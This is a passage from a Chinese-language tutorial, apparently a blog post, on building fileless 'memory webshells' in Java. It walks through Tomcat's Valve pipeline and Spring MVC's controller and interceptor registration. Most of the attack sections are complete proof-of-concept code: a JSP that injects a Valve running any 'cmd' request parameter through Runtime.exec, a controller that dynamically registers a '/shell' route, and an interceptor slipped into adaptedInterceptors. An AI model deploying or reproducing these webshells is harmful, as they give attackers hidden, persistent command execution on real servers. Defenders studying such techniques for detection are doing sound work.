1 2 3 4 5 6 7 8 @Override public Valve getFirst () { if (first != null ) { return first; } return basic; }
最后通过调用StandardEngineValve.invoke()
来实现Valve的各种业务逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public final void invoke (Request request, Response response) throws IOException, ServletException { Host host = request.getHost(); if (host == null ) { if (!response.isError()) { response.sendError(404 ); } return ; } if (request.isAsyncSupported()) { request.setAsyncSupported(host.getPipeline().isAsyncSupported()); } host.getPipeline().getFirst().invoke(request, response); }
host.getPipeline().getFirst().invoke(request, response)
实现调用后续的Valve。
动态添加Valve 根据上文的分析我们能够总结出Valve型内存马的注入思路
获取StandardContext
对象
通过StandardContext
对象获取StandardPipeline
编写恶意Valve
通过StandardPipeline.addValve()
动态添加Valve
获取StandardPipeline对象 1 2 3 4 5 6 7 8 <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); Pipeline pipeline = standardContext.getPipeline(); %>
编写恶意Valve类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <%! class Shell_Valve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } } %>
将恶意Valve添加进StandardPipeline 1 2 3 4 <% Shell_Valve shell_valve = new Shell_Valve (); pipeline.addValve(shell_valve); %>
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.Pipeline" %> <%@ page import ="org.apache.catalina.valves.ValveBase" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="java.io.IOException" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); Pipeline pipeline = standardContext.getPipeline(); %> <%! class Shell_Valve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } } %> <% Shell_Valve shell_valve = new Shell_Valve (); pipeline.addValve(shell_valve); %>
访问Valve.jsp
任意路径即可命令执行
Spring内存马 什么是Spring Spring是一个轻量级的Java开源框架,用于配置、管理和维护Bean(组件)的一种框架,其核心理念就是IoC(Inversion of Control,控制反转) 和 **AOP(AspectOrientedProgramming, 面向切面编程)**。现如今Spring全家桶已是一个庞大的家族
Spring的出现大大简化了JavaEE的开发流程,减少了Java开发时各种繁琐的配置。
Spring框架的核心之一就是分层,其由许多大大小小的组件构成,每种组件都实现不同功能。
SpringBoot SpringBoot 基于 Spring 开发。不仅继承了Spring框架原有的优秀特性,它并不是用来替代 Spring 的解决方案,而和 Spring 框架紧密 结合进一步简化了Spring应用的整个搭建和开发过程。其设计目的是用来简化 Spring 应用的初始搭建以及开发过程。
采用 Spring Boot 可以大大的简化开发模式,它集成了大量常用的第三方库配置,所有你想集成的常用框架,它都有对应的组件支持,例如 Redis、MongoDB、Dubbo、kafka,ES等等。SpringBoot 应用中这些第 三方库几乎可以零配置地开箱即用,大部分的 SpringBoot 应用都只需要非常少量的配置代码,开发者能够更加专注于业务逻辑。 另外SpringBoot通过集成大量的框架使得依赖包的版本冲突,以及引用的不稳定性等问题得到了很好的解决。
下面我们就通过IDEA中的Spring Initializr来快速构建一个基于SpringBoot的Web项目
选择Spring Web
创建好之后,IDEA会自动创建一个启动类
1 2 3 4 5 6 7 8 9 10 11 12 13 package com.example.spring; import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class Application { public static void main (String[] args) { SpringApplication.run(Application.class, args); } }
下面我们就可以编写相应的Controller(控制器)及各种业务逻辑了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.example.helloworld.controller; import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody; @Controller public class HelloWorldController { @ResponseBody @RequestMapping("hello") public String Hello () { return "Hello World!" ; } }
Spring MVC、Tomcat和Servlet 首先来设想这样一个场景,假如让我们自己手动实现一个简易的Web服务器,我们会怎么做?
首先我们肯定要接收客户端发来的TCP数据包,这里我们需要一个TCPServer来监听80端口。接着我们需要将TCP数据包解析成HTTP协议,获取URL路径、参数列表等数据信息。再然后就是执行各种逻辑处理。最后就是把处理的结果封装成HTTP协议返回给浏览器,并且等浏览器收到响应后断开连接。以上就是一个简易Web服务器的实现逻辑,当然,真正的Web服务器可能要比上述更加复杂一些,但核心功能是不变的:接受请求、处理请求、返回响应。
当然,如果我们在处理业务时每次都要进行一遍上述流程,这未免太繁琐。其实我们可以发现在上述流程中,网络通信、HTTP协议解析和封装部分的实现都相对固定。有变化的部分其实只有逻辑处理器,需要我们根据不同请求包而做出相应的逻辑处理。因此,为了提高开发效率,我们能不能将不变的部分封装起来呢?这其实就是我们的Web服务器。
Tomcat就是这样一种服务器,它其实就是一个能够监听TCP连接请求,解析HTTP报文,将解析结果传给处理逻辑器、接收处理逻辑器的返回结果并通过TCP返回给浏览器的一个框架。在Tomcat各种组件中,Connnector就是负责网络通信的,而Container中的Servlet就是我们的逻辑处理器。
因此Tomcat就是一个Servlet容器,它将前后端交互过程中不变的东西(网络通信、协议解析等)封装了起来。而Servlet是一个逻辑处理器,它可以被Tomcat创建、调用和销毁。所以我们的Web程序核心是基于Servlet的,而Web程序的启动依靠Tomcat。
那Spring MVC呢?Spring是利用注解、反射和模板等技术实现的一种框架。其核心类是继承于HttpServlet的DispatchServlet。那既然是Servlet,那负责的肯定就是逻辑处理部分了,那么就需要Tomcat这样的服务器来给Spring提供运行环境。
Spring MVC Spring MVC的运行流程
客户端发送Request,DispatcherServlet(等同于Controller控制器),控制器接收到请求,来到HandlerMapping(在配置文件中配置),HandlerMapping会对URL进行解析,并判断当前URL该交给哪个Controller来处理,找到对应的Controller之后,Controller就跟Server、JavaBean进行交互,得到某一个值,并返回一个视图(ModelAndView过程),Dispathcher通过ViewResolver视图解析器,找到ModelAndView对象指定的视图对象,最后,视图对象负责渲染返回给客户端。
创建一个简单的Spring MVC项目 这里我们使用Maven来创建一个简单的SpringMVC项目。创建好Maven项目后添加相应的Springmvc依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 ... <properties> <project.build.sourceEncoding>UTF-8 </project.build.sourceEncoding> <maven.compiler.source>1.7 </maven.compiler.source> <maven.compiler.target>1.7 </maven.compiler.target> <org.springframework-version>4.1 .4 .RELEASE</org.springframework-version> </properties> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11 </version> <scope>test</scope> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>${org.springframework-version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> <version>${org.springframework-version}</version> </dependency> <!-- Tag libs support for view layer --> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2 </version> <scope>runtime</scope> </dependency> <dependency> <groupId>taglibs</groupId> <artifactId>standard</artifactId> <version>1.1 .2 </version> <scope>runtime</scope> </dependency> </dependencies> ...
创建Spring配置文件springmvc.xml
编写web.xml
文件来配置Servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0" > <display-name>Archetype Created Web Application</display-name> <servlet> <servlet-name>spring</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/springmvc.xml</param-value> </init-param> <load-on-startup>1 </load-on-startup> </servlet> <servlet-mapping> <servlet-name>spring</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> </web-app>
配置springmvc.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd" > <context:component-scan base-package ="com.controller" /> <!-- 开启springMVC的注解驱动,使得url可以映射到对应的controller --> <mvc:annotation-driven /> <!-- 视图解析 --> <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver" > <property name="prefix" value="/WEB-INF/views/" /> <property name="suffix" value=".jsp" /> </bean> </beans>
在com.controller
包下创建test控制器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.controller; import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody; @Controller public class test { @ResponseBody @RequestMapping("/hello") public String hello () { System.out.println("hello" ); return "Hello" ; } }
配置Tomcat,添加相应war包
启动Tomcat,访问http://localhost/hello
Controller型内存马 Bean Bean
是 Spring 框架的一个核心概念 ,它是构成应用程序的主干,并且是由 Spring IoC
容器负责实例化、配置、组装和管理的对象。
bean 是对象
bean 被 IoC 容器管理
Spring 应用主要是由一个个的 bean 构成的
IOC容器 如果一个系统有大量的组件(类),其生命周期和相互之间的依赖关系如果由组件自身来维护,不但大大增加了系统的复杂度,而且会导致组件之间极为紧密的耦合,继而给测试和维护带来了极大的困难。解决这一问题的核心方案就是IoC(又称为依赖注入)。由IoC负责创建组件、根据依赖关系组装组件、按依赖顺序正确销毁组件。
IOC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xml
、Java注解
或Java代码
来表示。
ApplicationContext Spring 框架中,BeanFactory
接口是 Spring
IoC容器 的实际代表者
Spring容器就是ApplicationContext,它是一个接口继承于BeanFactory,有很多实现类。获得了ApplicationContext的实例,就获得了IoC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。
因此,org.springframework.context.ApplicationContext
接口也代表了 IoC容器
,它负责实例化、定位、配置应用程序中的对象(bean
)及建立这些对象间(beans
)的依赖。
Root Context和Child Context 我们来看看web.xml配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ... <servlet> <servlet-name>spring</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/springmvc.xml</param-value> </init-param> <load-on-startup>1 </load-on-startup> </servlet> <servlet-mapping> <servlet-name>spring</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> ...
这里我们将DispatcherServlet设置别名为spring,然后将contextConfigLocation
参数值配置为/WEB-INF/springmvc.xml
。
依照规范,当没有显式配置 contextConfigLocation
时,程序会自动寻找 ``/WEB-INF/-servlet.xml,作为配置文件。因为上面的
是
dispatcherServlet,所以当没有显式配置时,程序依然会自动找到
/WEB-INF/dispatcherServlet-servlet.xml` 配置文件。
每个具体的 DispatcherServlet
创建的是一个 Child Context
,代表一个独立的 IoC 容器
;而 ContextLoaderListener
所创建的是一个 Root Context
,代表全局唯一的一个公共 IoC 容器
。
如果要访问和操作 bean
,一般要获得当前代码执行环境的IoC 容器
代表者 ApplicationContext
。
Spring 应用中可以同时有多个 Context
,其中只有一个 Root Context
,剩下的全是 Child Context
所有Child Context
都可以访问在 Root Context
中定义的 bean
,但是Root Context
无法访问Child Context
中定义的 bean
所有的Context
在创建后,都会被作为一个属性添加到了 ServletContext
中
ContextLoaderListener ContextLoaderListener
主要被用来初始化全局唯一的Root Context
,即 Root WebApplicationContext
。这个 Root WebApplicationContext
会和其他 Child Context
实例共享它的 IoC 容器
,供其他 Child Context
获取并使用容器中的 bean
。
实现思路 和Tomcat内存马类似,我们就需要了解如何动态的注册Controller,思路如下
获取上下文环境
注册恶意Controller
配置路径映射
获取上下文环境Context 有四种方法
getCurrentWebApplicationContext 1 WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
getCurrentWebApplicationContext
获得的是一个 XmlWebApplicationContext
实例类型的 Root WebApplicationContext
。
WebApplicationContextUtils 1 WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
通过这种方法获得的也是一个 Root WebApplicationContext
。其中 WebApplicationContextUtils.getWebApplicationContext
函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext
来替换。
RequestContextUtils 1 WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
通过 ServletRequest
类的实例来获得 Child WebApplicationContext
。
getAttribute 1 WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 );
这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
动态注册Controller Spring Controller 的动态注册,就是对 RequestMappingHandlerMapping
注入的过程。
RequestMappingHandlerMapping
是springMVC里面的核心Bean,spring把我们的controller解析成RequestMappingInfo
对象,然后再注册进RequestMappingHandlerMapping
中,这样请求进来以后就可以根据请求地址调用到Controller类里面了。
RequestMappingHandlerMapping对象本身是spring来管理的,可以通过ApplicationContext取到,所以并不需要我们新建。
在SpringMVC框架下,会有两个ApplicationContext,一个是Spring IOC的上下文,这个是在java web框架的Listener里面配置,就是我们经常用的web.xml里面的org.springframework.web.context.ContextLoaderListener
,由它来完成IOC容器的初始化和bean对象的注入。
另外一个是ApplicationContext是由org.springframework.web.servlet.DispatcherServlet
完成的,具体是在org.springframework.web.servlet.FrameworkServlet#initWebApplicationContext()
这个方法做的。而这个过程里面会完成RequestMappingHandlerMapping这个对象的初始化。
Spring 2.5 开始到 Spring 3.1 之前一般使用org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
映射器 ;
Spring 3.1 开始及以后一般开始使用新的org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
映射器来支持@Contoller和@RequestMapping注解。
registerMapping 在Spring 4.0及以后,可以使用registerMapping直接注册requestMapping
1 2 3 4 5 6 7 8 9 10 11 RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);Method method = (Class.forName("me.landgrey.SSOLogin" ).getDeclaredMethods())[0 ];PatternsRequestCondition url = new PatternsRequestCondition ("/hahaha" );RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition ();RequestMappingInfo info = new RequestMappingInfo (url, ms, null , null , null , null , null ); r.registerMapping(info, Class.forName("恶意Controller" ).newInstance(), method);
registerHandler 参考上面的 HandlerMapping
接口继承关系图,针对使用 DefaultAnnotationHandlerMapping
映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping
在其registerHandler()
方法中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 protected void registerHandler (String urlPath, Object handler) throws BeansException, IllegalStateException { Assert.notNull(urlPath, "URL path must not be null" ); Assert.notNull(handler, "Handler object must not be null" ); Object resolvedHandler = handler; if (!this .lazyInitHandlers && handler instanceof String) { String handlerName = (String) handler; ApplicationContext applicationContext = obtainApplicationContext(); if (applicationContext.isSingleton(handlerName)) { resolvedHandler = applicationContext.getBean(handlerName); } } Object mappedHandler = this .handlerMap.get(urlPath); if (mappedHandler != null ) { if (mappedHandler != resolvedHandler) { throw new IllegalStateException ( "Cannot map " + getHandlerDescription(handler) + " to URL path [" + urlPath + "]: There is already " + getHandlerDescription(mappedHandler) + " mapped." ); } } else { if (urlPath.equals("/" )) { if (logger.isTraceEnabled()) { logger.trace("Root mapping to " + getHandlerDescription(handler)); } setRootHandler(resolvedHandler); } else if (urlPath.equals("/*" )) { if (logger.isTraceEnabled()) { logger.trace("Default mapping to " + getHandlerDescription(handler)); } setDefaultHandler(resolvedHandler); } else { this .handlerMap.put(urlPath, resolvedHandler); if (getPatternParser() != null ) { this .pathPatternHandlerMap.put(getPatternParser().parse(urlPath), resolvedHandler); } if (logger.isTraceEnabled()) { logger.trace("Mapped [" + urlPath + "] onto " + getHandlerDescription(handler)); } } } }
该方法接受 urlPath
参数和 handler
参数,可以在 this.getApplicationContext()
获得的上下文环境中寻找名字为 handler
参数值的 bean
, 将 url 和 controller 实例 bean 注册到 handlerMap
中
1 2 3 4 5 6 7 8 9 context.getBeanFactory().registerSingleton("dynamicController" , Class.forName("me.landgrey.SSOLogin" ).newInstance()); org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class); java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler" , String.class, Object.class); m1.setAccessible(true ); m1.invoke(dh, "/favicon" , "dynamicController" );
detectHandlerMethods 参考上面的 HandlerMapping
接口继承关系图,针对使用 RequestMappingHandlerMapping
映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractHandlerMethodMapping
在其detectHandlerMethods()
方法中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected void detectHandlerMethods (Object handler) { Class<?> handlerType = handler instanceof String ? this .getApplicationContext().getType((String)handler) : handler.getClass(); final Class<?> userType = ClassUtils.getUserClass(handlerType); Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter () { public boolean matches (Method method) { return AbstractHandlerMethodMapping.this .getMappingForMethod(method, userType) != null ; } }); Iterator var6 = methods.iterator(); while (var6.hasNext()) { Method method = (Method)var6.next(); T mapping = this .getMappingForMethod(method, userType); this .registerHandlerMethod(handler, method, mapping); } }
该方法仅接受handler
参数,同样可以在 this.getApplicationContext()
获得的上下文环境中寻找名字为 handler
参数值的 bean
, 并注册 controller
的实例 bean
1 2 3 4 5 context.getBeanFactory().registerSingleton("dynamicController" , Class.forName("恶意Controller" ).newInstance()); org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class); java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods" , Object.class); m1.setAccessible(true ); m1.invoke(requestMappingHandlerMapping, "dynamicController" );
实现恶意Controller 这里由于我们时动态注册Controller,所以我们只需要实现对应的恶意方法即可
1 2 3 4 5 6 7 8 9 10 11 public class Controller_Shell { public Controller_Shell () {} public void shell () throws IOException { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); Runtime.getRuntime().exec(request.getParameter("cmd" )); } }
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest;import java.io.IOException;import java.lang.reflect.Method; @Controller public class shell_controller { @RequestMapping("/control") public void Spring_Controller () throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = Controller_Shell.class.getDeclaredMethod("shell" ); PatternsRequestCondition url = new PatternsRequestCondition ("/shell" ); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition (); RequestMappingInfo info = new RequestMappingInfo (url, ms, null , null , null , null , null ); r.registerMapping(info, new Controller_Shell (), method); } public class Controller_Shell { public Controller_Shell () {} public void shell () throws IOException { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); Runtime.getRuntime().exec(request.getParameter("cmd" )); } } }
首先访问/control
路由,由于Controller默认会将结果交给View处理,返回值通常会被解析成一个页面路径,所以这里会报404错误。我们可以使用@ResponeBody
来将Controller的方法返回的对象,通过适当的HttpMessageConverter转换为指定格式后,写入到Response对象的body数据区。
然后访问我们定义恶意Controller的路由/shell
Interceptor型内存马 什么是Interceptor Spring MVC 的拦截器(Interceptor)与 Java Servlet 的过滤器(Filter)类似,它主要用于拦截用户的请求并做相应的处理,通常应用在权限验证、记录请求信息的日志、判断用户是否登录等功能上。
在 Spring MVC 框架中定义一个拦截器需要对拦截器进行定义和配置,主要有以下 2 种方式。
通过实现 HandlerInterceptor 接口或继承 HandlerInterceptor 接口的实现类(例如 HandlerInterceptorAdapter)来定义
通过实现 WebRequestInterceptor 接口或继承 WebRequestInterceptor 接口的实现类来定义
Interceptor示例 这里我们选择继承HandlerInterceptor接口来实现一个Interceptor。HandlerInterceptor接口有三个方法,如下
preHandle:该方法在控制器的处理请求方法前执行,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作。
postHandle:该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改。
afterCompletion:该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import org.springframework.web.servlet.HandlerInterceptor; import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.PrintWriter; public class Spring_Interceptor implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String url = request.getRequestURI(); PrintWriter writer = response.getWriter(); if ( url.indexOf("/login" ) >= 0 ){ writer.write("LoginIn" ); writer.flush(); writer.close(); return true ; } writer.write("LoginInFirst" ); writer.flush(); writer.close(); return false ; } }
在springmvc.xml配置文件中配置相应的Interceptor
1 2 3 4 5 6 7 8 ... <mvc:interceptors> <mvc:interceptor> <mvc:mapping path="/*" /> <bean class="com.shell.interceptor.Spring_Interceptor" /> </mvc:interceptor> </mvc:interceptors> ...
编写对应的Controller
1 2 3 4 5 6 7 8 9 10 11 12 13 import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody; @Controller public class Spring_Controller { @ResponseBody @RequestMapping("/login") public String Login () { return "Success!" ; } }
访问对应路径
request调用流程 我们首先来探究一下,当一个Request发送到Spring应用时,是如何一步步到达业务逻辑处理层Controller的。
在ApplicationFilterChain#internalDoFilter处下一个断点,可以看到此时的调用栈是和启动Tomcat时相同的
但与Tomcat不同的是,当调用到HttpServlet#service
时,最终会调用DispatcherServlet#doDispatch
进行逻辑处理,这正是Spring的逻辑处理核心类。
1 2 3 4 5 6 7 8 9 10 11 doDispatch:1028 , DispatcherServlet (org.springframework.web.servlet) doService:963 , DispatcherServlet (org.springframework.web.servlet) processRequest:1006 , FrameworkServlet (org.springframework.web.servlet) doGet:898 , FrameworkServlet (org.springframework.web.servlet) service:655 , HttpServlet (javax.servlet.http) service:883 , FrameworkServlet (org.springframework.web.servlet) service:764 , HttpServlet (javax.servlet.http) internalDoFilter:227 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) ...
跟进到getHandler
方法
1 2 3 4 5 6 7 8 9 10 11 protected HandlerExecutionChain getHandler (HttpServletRequest request) throws Exception { if (this .handlerMappings != null ) { for (HandlerMapping mapping : this .handlerMappings) { HandlerExecutionChain handler = mapping.getHandler(request); if (handler != null ) { return handler; } } } return null ; }
在 getHandler
方法中,会通过遍历 this.handlerMappings
来获取 HandlerMapping
对象实例 mapping
而getHandler实际上会调用org.springframework.web.servlet.handler.AbstractHandlerMapping
类的 getHandler
方法,并通过 getHandlerExecutionChain(handler, request)
方法返回 HandlerExecutionChain
类的实例
跟进AbstractHandlerMapping
#getHandlerExecutionChain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 protected HandlerExecutionChain getHandlerExecutionChain (Object handler, HttpServletRequest request) { HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ? (HandlerExecutionChain) handler : new HandlerExecutionChain (handler)); for (HandlerInterceptor interceptor : this .adaptedInterceptors) { if (interceptor instanceof MappedInterceptor) { MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor; if (mappedInterceptor.matches(request)) { chain.addInterceptor(mappedInterceptor.getInterceptor()); } } else { chain.addInterceptor(interceptor); } } return chain; }
可以看到其通过adaptedInterceptors
获取所有Interceptor后进行遍历,其中可以看见一个我们自己定义的Interceptor
然后通过chain.addInterceptor()
将所有Interceptor添加到HandlerExecutionChain
中。最后返回到DispatcherServlet#doDispatch()
中,调用mappedHandler.applyPreHandle
方法
1 2 3 4 5 6 7 8 9 10 11 boolean applyPreHandle (HttpServletRequest request, HttpServletResponse response) throws Exception { for (int i = 0 ; i < this .interceptorList.size(); i++) { HandlerInterceptor interceptor = this .interceptorList.get(i); if (!interceptor.preHandle(request, response, this .handler)) { triggerAfterCompletion(request, response, null ); return false ; } this .interceptorIndex = i; } return true ; }
然后遍历调用Interceptor中的preHandle()
拦截方法。
因此当一个Request发送到Spring应用时,大致会经过如下几个层面才会进入Controller层
1 HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Controller
Interceptor型内存马实现思路 通过以上分析,Interceptor实际上是可以拦截所有想到达Controller的请求的。下面的问题就是如何动态地注册一个恶意的Interceptor了。由于Interceptor和Filter有一定的相似之处,因此我们可以仿照Filter型内存马的实现思路
获取当前运行环境的上下文
实现恶意Interceptor
注入恶意Interceptor
获取环境上下文 在Controller型内存马中,给出了四种获取Spring上下文ApplicationContext
的方法。下面我们还可以通过反射获取LiveBeansView
类的applicationContexts
属性来获取上下文。
1 2 3 4 5 6 java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView" ).getDeclaredField("applicationContexts" ); filed.setAccessible(true ); org.springframework.web.context.WebApplicationContext context = (org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null )).iterator().next();
org.springframework.context.support.LiveBeansView
类在 spring-context
3.2.x 版本(现在最新版本是 5.3.x )才加入其中,所以比较低版本的 spring 无法通过此方法获得 ApplicationContext
的实例。
获取adaptedInterceptors属性值 获得 ApplicationContext
实例后,还需要知道 org.springframework.web.servlet.handler.AbstractHandlerMapping
类实例的 bean name 叫什么。
我们可以通过ApplicationContext
上下文来获取AbstractHandlerMapping
,进而反射获取adaptedInterceptors
属性值
1 2 3 4 org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping" ); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
实现恶意Interceptor 这里选择继承HandlerInterceptor类,并重写其preHandle方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import org.springframework.web.servlet.HandlerInterceptor; import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException; public class Shell_Interceptor implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } return true ; } return false ; } }
动态注册Interceptor 我们知道Spring是通过遍历adaptedInterceptors属性值来执行Interceptor的,因此最后我们只需要将恶意Interceptor加入到 adaptedInterceptors
属性值中就可以了。
1 2 3 Shell_Interceptor shell_interceptor = new Shell_Interceptor (); adaptedInterceptors.add(shell_interceptor);
